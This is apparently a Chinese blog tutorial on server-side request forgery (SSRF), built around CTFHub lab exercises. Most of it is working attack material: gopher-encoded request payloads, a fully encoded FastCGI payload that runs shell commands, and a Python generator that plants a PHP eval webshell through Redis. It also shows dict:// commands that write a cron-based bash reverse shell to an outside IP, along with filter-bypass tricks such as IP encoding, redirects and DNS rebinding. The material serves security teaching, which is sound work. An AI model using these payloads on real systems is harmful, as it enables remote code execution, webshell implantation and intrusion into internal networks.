深入理解SSRF服务端请求伪造:原理、协议与实战利用
本文详细介绍了SSRF(服务端请求伪造)漏洞的原理、攻击方式及多种协议利用,包括file、gopher协议,并提供端口扫描、POST请求和文件上传的实战示例,帮助读者掌握SSRF的攻防技术。
- 网络安全
- Web安全
SSRF(服务端请求伪造)
服务器端请求伪造,由攻击者构造形成由服务端发起请求的一个安全漏洞,也就是通过服务器攻击者可以访问到与服务相连的内网
描述:
目标应用程序可能具有从url导入数据,将数据发布到url,篡改url读取数据的功能。
攻击者通过提供完全不同的URL或通过操纵URL的构建方式(路径遍历等)。服务器段代码获取被操纵的URL并尝试将数据读取到URL,通过选择目标URL,攻击者可能能够从未直接暴露在互联网上的服务中读取数据:
-
云服务器元数据
-
- 元数据:描述数据的数据(数据集的存储位置,数据集的名称。。。)
-
数据库HTTP接口--- NoSQL 数据库(如 MongoDB)在 HTTP 端口上提供 REST 接口。如果预计数据库仅供内部使用,则可能会禁用身份验证,攻击者可以提取数据
-
- REST:用URL定位资源,用HTTP动词(
GET,POST,DELETE,PUT)描述操作。
- REST:用URL定位资源,用HTTP动词(
-
内部REST接口
攻击者还是可以使用此功能将不受信任的数据导入代码中,这些代码中只希望从受信任的数据来源中读取数据,从而绕过输入验证
漏洞代码实例:
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url); //初始化一个curl会话
curl_setopt($ch, CURLOPT_HEADER, 0); //设置选项值
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch); //执行 cURL 会话
curl_close($ch); //关闭curl会话,释放所有资源
echo ($result);
?>



接受的 url参数 利用 curl_exec 执行访问 url
- 形成漏洞的原因:
服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制

攻击利用:
- 可以对外网,服务器所在内网,本地进行端口扫描获取一些服务的banner信息
- 攻击运行在内网或本地的应用程序(如溢出);
- 对内网的web应用进行
指纹识别,通过访问默认文件进行实现攻击内外网的web应用,主要是使用get参数就可以实现的攻击利用file协议读取本地文件等 - 可能存在攻击的地方:
- 分享: 通过
url地址分享网页内容 - 转码服务
- 在线翻译图片加载与下载:通过
url加载和下载图片 - 图片文章收藏功能
- 未公开的api实现以及其他使用URL的功能
- 从URL关键字中寻找
share,wapurl,link,srcsource,target,displaysourceURL,imageURl,domain/etc/password
ssrf的协议
类型;
file:///
dict://
sftp://
ldap://
tftp://
gopher://
file://
file:///etc/password
尝试从文件系统中获取文件(读取本机文件)

gopher://
信息查找系统,它将 internet 上的文件组织成某种索引
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
限制:

—wite-curlwrappers:运用curl工具打开url流
curl使用curl —version查看版本以及支持的协议
Gopher协议格式:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
gopher默认端口是70- 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
Gopher发送请求
-
发送数据:
使用
Gopher协议发送一个请求,环境为:nc起一个监听,curl发送gopher请求
1-1. nc监听2333端口
nc -lp 2333

1-2. 使用 curl 协议发送 http 请求
curl gopher://yourip:2333/abcd

接受到的字符串短一个‘a’
curl gopher://yourip:2333/_abcd

- 可以看到,需要在传送的字符串前面任意加一个字符串
那么,怎么发送GET请求?需要以下三步
-
构造HTTP数据包
-
URL编码、替换回车换行为%0d%0a
-
发送gopher协议
-
发送
GET请求
2-1. 首先准备代码接收GET请求
<?php
highlight_file(__FILE__);
echo "Hello ".$_GET["name"]."\n"
?>
2-2. 构造GET型数据请求包

GET /?name=chenluo HTTP/1.1
Host: xx.xxx.xxxx.xx:666
URL编码:
GET%20%2F%3Fname%3Dchenluo%20HTTP%2F1.1%0AHost%3A%20xx.xxx.xxx.xxx%3A666
构造请求:
curl gopher://xx.xxx.xxx.xx:666/_GET%20%2F%3Fname%3Dchenluo%20HTTP%2F1.1%0AHost%3A%2039.105.134.199%3A666%0d%0A

注意:
- 问号(?)需要转码为URL编码,也就是%3f
- 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
- 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

必须格式:
-
注意:
-
- 在使用Gopher协议发送POST请求时,
host,content-Type和content-Length请求头时必不可少的,但是在GET请求中可以没有。 content-length的值必须与post数据对应相等
- 在使用Gopher协议发送POST请求时,
-
POST / HTTP/1.1 Host: 39.105.134.199:666 Content-Type: application/x-www-form-urlencoded Content-Length: 11 url=chenluo -
url编码:
-
curl gopher://39.105.134.199:666/_POST%20%2F%20HTTP%2F1.1%0AHost%3A%2039.105.134.199%3A666%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2012%0A%0Aname%3Dchenluo%0A

ssrf攻击流程:

ssrf端口扫描:
ctfhub:
<ip地址>:<端口号>,抓包,针对端口号进行爆破
?url=127.0.0.1:8000


ssrf发送Post请求
ctfhub的post请求:
curl ,利用gopher协议,发送post请求:
- 构造数据包:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=86d5defb626699906d937f2777700925

进行两次url编码,php接收参数会解码一次,curl又会解码
?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D86d5defb626699906d937f2777700925`
注意:
* 第一次编码之后%0A需要替换成%0D%0A
* 这里要加上80端口号
ssrf文件上传:
- 访问file:///var/www/html/flag.php,添加提交按钮

- 捕获post数据包:

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--
进行第一次url编码,将%0A换成%0D%0A:
?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Length%3A%20292%0D%0AContent-Type%3A%20multipart/form-data%3B%20boundary%3D----WebKitFormBoundary1lYApMMA3NDrr2iY%0D%0A%0D%0A------WebKitFormBoundary1lYApMMA3NDrr2iY%0D%0AContent-Disposition%3A%20form-data%3B%20name%3D%22file%22%3B%20filename%3D%22test.txt%22%0D%0AContent-Type%3A%20text/plain%0D%0A%0D%0ASSRF%20Upload%0D%0A------WebKitFormBoundary1lYApMMA3NDrr2iY%0D%0AContent-Disposition%3A%20form-data%3B%20name%3D%22submit%22%0D%0A%0D%0A%E6%8F%90%E4%BA%A4%0D%0A------WebKitFormBoundary1lYApMMA3NDrr2iY--
再进行url编码
?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--`

ssrf-fastcgi协议:
- CGI是一种协议,规定了服务器交给
语言解析器的数据形式 - 对于请求静态页面服务器会直接获取到对应的页面,返回到客户的浏览器
- 对于向
.php这样的动态页面,服务器在把数据反回答浏览器的时候可能会处理一下要请求的页面比如GET请求,POST请求,处理的过程就是交给fast-cgi程序来处理的也称为语言解析器 - php-cgi应用程序 解析php语言,
php-fpm是php-fastcgi的管理器,管理对象是php-cgi进程
利用原理:
cgi处理端口是暴露在公网9000端口的,我们可以通过构造自己的cgi数据报打到9000端口, php-cgi会处理数据报中 script_filename 指定的php文件,由于我们没有上传特定的php文件,只能利用系统自带的php文件,修改其中配置( auto_prepend_file),在执行系统自带php文件的同时执行auto_prepend_file所指定的文件(无法上传文件,我们用 php://input 代替),这也就执行了POST的内容


本地监听9000端口,因为 fastcgi 默认监听
nc -lvp 9000 > 1.txt`
新开一个命令行,执行下面命令:
python fpm.py -c "<?php var_dump(shell_exec('ls /'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php
利用上面的 url脚本 进行编码之后再编码,加上 gopher 协议
gopher://127.0.0.1:9000/_%2501%2501%2542%2549%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2542%2549%2501%25e7%2500%2500%250e%2502%2543%254f%254e%2554%2545%254e%2554%255f%254c%2545%254e%2547%2554%2548%2533%2537%250c%2510%2543%254f%254e%2554%2545%254e%2554%255f%2554%2559%2550%2545%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2574%2565%2578%2574%250b%2504%2552%2545%254d%254f%2554%2545%255f%2550%254f%2552%2554%2539%2539%2538%2535%250b%2509%2553%2545%2552%2556%2545%2552%255f%254e%2541%254d%2545%256c%256f%2563%2561%256c%2568%256f%2573%2574%2511%250b%2547%2541%2554%2545%2557%2541%2559%255f%2549%254e%2554%2545%2552%2546%2541%2543%2545%2546%2561%2573%2574%2543%2547%2549%252f%2531%252e%2530%250f%250e%2553%2545%2552%2556%2545%2552%255f%2553%254f%2546%2554%2557%2541%2552%2545%2570%2568%2570%252f%2566%2563%2567%2569%2563%256c%2569%2565%256e%2574%250b%2509%2552%2545%254d%254f%2554%2545%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250f%251b%2553%2543%2552%2549%2550%2554%255f%2546%2549%254c%2545%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%250b%251b%2553%2543%2552%2549%2550%2554%255f%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2509%251f%2550%2548%2550%255f%2556%2541%254c%2555%2545%2561%2575%2574%256f%255f%2570%2572%2565%2570%2565%256e%2564%255f%2566%2569%256c%2565%2520%253d%2520%2570%2568%2570%253a%252f%252f%2569%256e%2570%2575%2574%250e%2504%2552%2545%2551%2555%2545%2553%2554%255f%254d%2545%2554%2548%254f%2544%2550%254f%2553%2554%250b%2502%2553%2545%2552%2556%2545%2552%255f%2550%254f%2552%2554%2538%2530%250f%2508%2553%2545%2552%2556%2545%2552%255f%2550%2552%254f%2554%254f%2543%254f%254c%2548%2554%2554%2550%252f%2531%252e%2531%250c%2500%2551%2555%2545%2552%2559%255f%2553%2554%2552%2549%254e%2547%250f%2516%2550%2548%2550%255f%2541%2544%254d%2549%254e%255f%2556%2541%254c%2555%2545%2561%256c%256c%256f%2577%255f%2575%2572%256c%255f%2569%256e%2563%256c%2575%2564%2565%2520%253d%2520%254f%256e%250d%2501%2544%254f%2543%2555%254d%2545%254e%2554%255f%2552%254f%254f%2554%252f%250b%2509%2553%2545%2552%2556%2545%2552%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250b%251b%2552%2545%2551%2555%2545%2553%2554%255f%2555%2552%2549%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2501%2504%2542%2549%2500%2500%2500%2500%2501%2505%2542%2549%2500%2525%2500%2500%253c%253f%2570%2568%2570%2520%2576%2561%2572%255f%2564%2575%256d%2570%2528%2573%2568%2565%256c%256c%255f%2565%2578%2565%2563%2528%2527%256c%2573%2520%252f%2527%2529%2529%253b%253f%253e%2501%2505%2542%2549%2500%2500%2500%2500`

ssrf-redis协议
redis服务,tcpdump监听端口数据,抓包查看,发现相关数据流:

开启redis服务
redis-server
开启 redis 客户端:
redis-cli
得到当前配置路径:
config get dir #这里的目录之前被修改过

得到当前数据存放文件:
config get dbfilename #这里的文件之前被修改过

可以再开一个shell,看一下这个文件存放的内容

现在,在连接 redis 的 shell 中,输入命令,断开连接
set php "<?php phpinfo();?>"
save
再次查看 /var/www/html/shell4.php ,

通过修改 redis文件配置 ,使得数据存放位置以及数据存放的文件名可控制
from urllib import parse
protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
shell = "\r\n<?php eval($_POST[1])?>\r\n"
filename = "shell4.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ","aaa")),#设置命令
"config set dir {}".format(path),#设置目录
"config set dbfilename {}".format(filename),#设置文件名
"save"#保存到指定的文件
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))#需要密码的时候插入密码
payload = protocol+ip+":"+port+"/_"
def redis_format(arr):#将命令数据转换成符合协议的格式
CRLF ="\r\n"#设置回车换行
redis_arr = arr.split(" ")#以空格为间隔,分成列表
cmd=""
cmd+="*"+str(len(redis_arr))#回复数组前面加*以及回复数组的长度
for x in redis_arr:#遍历数组
cmd+=CRLF+"$"+str(len((x.replace("aaa"," "))))+CRLF+x.replace("aaa"," ")#每个命令和数据之间都有回撤和换行,replace主要是为了替换一句话中的空格,因为一句话不能被分成多个数据
cmd+=CRLF#最后也是回车和换行
return cmd
if __name__=="__main__":
for x in cmd:
payload +=parse.quote(redis_format(x))
print(payload)
构成 redis数据包 ,直接用 curl 发过去,就会在自己设置的目录和文件中放入一句话


dict://
- 判断是否开启某些服务
curl dict://192.168.220.16:6379/

证明开启了 redis服务
- 利用
dict协议执行命令,获取变量

dict协议利用redis反弹shell
本地监听6666端口:
nc -l 6666
利用dict执行命令:
curl dict://192.168.220.16:6379/set:mars:"\n\n* * * * * root bash -i >& /dev/tcp/192.168.220.1/6666 0>&1\n\n"
curl dict://192.168.220.16:6379/config:set:dir:/etc/
curl dict://192.168.220.16:6379/config:set:dbfilename:crontab
curl dict://192.168.220.16:6379/bgsave

因为特殊字符的原因无法写入到目标的 redis 中,被空格所分割导致
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from urllib import parse
import urllib,binascii
#url = "http://192.168.220.1/ssrf/base/curl_exec.php?url="
target = "dict://192.168.220.16:6379/"
cmds = ['set:mars:\\\\"\\n* * * * * root bash -i >& /dev/tcp/192.168.220.1/6666 0>&1\\n\\\\"',
"config:set:dir:/etc/",
"config:set:dbfilename:crontab",
"bgsave"]
for cmd in cmds:
cmd_encoder = ""
for single_char in cmd:
# 先转为ASCII
cmd_encoder += hex(ord(single_char)).replace("0x","")
cmd_encoder = binascii.a2b_hex(cmd_encoder)
cmd_encoder = parse.quote(cmd_encoder,'utf-8')
print(cmd_encoder)
#payload = url + target + cmd_encoder
#print payload





执行的时候报错

查看 日志 报错

显然提示没有打开文件 /etc/crontab 的权限,如果是centos系统应该可以成功
ssrf中的绕过:
URLBypass:
-
最常见的要求是url中必须包含某些固定的字符,但是我们访问的地址又没有这些字符:
-
- 绕过方式
- ssh
http://user:passwd@url/index.php
user 可以改成所要求的字符,之后加上 @ 后面加上目标的url地址
数字IPBypass:
-
不让使用
127.0.0.1,可以将其转换成16进制和10进制8进制 -
- 16进制:0x7f.00.00.01
- 8 进制:0177.000.000.001
- 10进制:127.0.0.1
302跳转绕过:
- 利用**`http://127.0.0.1/flag.php生成短网址(可以跳转到对应的原网址)**
?url=surl-2.cn/0nPI #http://127.0.0.1/flag.php
DNS重绑定
DNS服务器解析到域名对应的IP之后,返回给浏览器,经过很短的时间,该域名对应的IP地址被替换,当浏览器再次请求解析域名的时候,如果本地域名服务器还记得该域名对应的IP就会用之前解析过的IP。如果不记得,当他再次寻求域名解析服务器的时候,就会得到新的解析结果也就是新的IP地址。本地服务器对该域名解析记录的记忆是服务器可控制的,也就是域名持有者可以控制
可以让一个域名绑定两个网址
具体步骤
- 攻击者控制恶意的DNS服务器来回复域的查询,如rebind.network
- 攻击者通过一些方式诱导受害者加载http://rebind.network
- 用户打开链接,浏览器就会发出DNS请求查找rebind.network的IP地址
- 恶意DNS服务器收到受害者的请求,并使用真实IP地址进行响应,并将TTL值设置为1秒,让受害者的机器缓存很快失效
- 从http://rebind.network加载的网页包含恶意的js代码,构造恶意的请求到http://rebind.network/index,而受害者的浏览器便在执行恶意请求
- 一开始的恶意请求当然是发到了攻击者的服务器上,但是随着TTL时间结束,攻击者就可以让http://rebind.network绑定到别的IP,如果能捕获受害者的一些放在内网的应用IP地址,就可以针对这个内网应用构造出对应的恶意请求,然后浏览器执行的恶意请求就发送到了内网应用,达到了攻击的效果
留言讨论
0 条留言
正在加载留言...